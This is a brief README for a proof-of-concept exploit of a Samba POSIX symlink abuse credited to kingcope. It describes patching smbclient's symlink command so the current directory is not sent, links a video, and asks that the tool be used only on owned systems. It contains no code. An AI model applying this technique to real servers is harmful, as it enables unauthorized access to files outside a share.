PoC exploit for kingcope's Samba POSIX symlinks abuse.

It is based on the video made available at:
http://www.youtube.com/watch?v=NN50RtZ2N74&aia=true

It uses Samba's smbclient as the transport.  This patch modifies the
symlink command so that the current directory isn't sent.  It should
obviously only be used on systems that you own, please don't abuse.
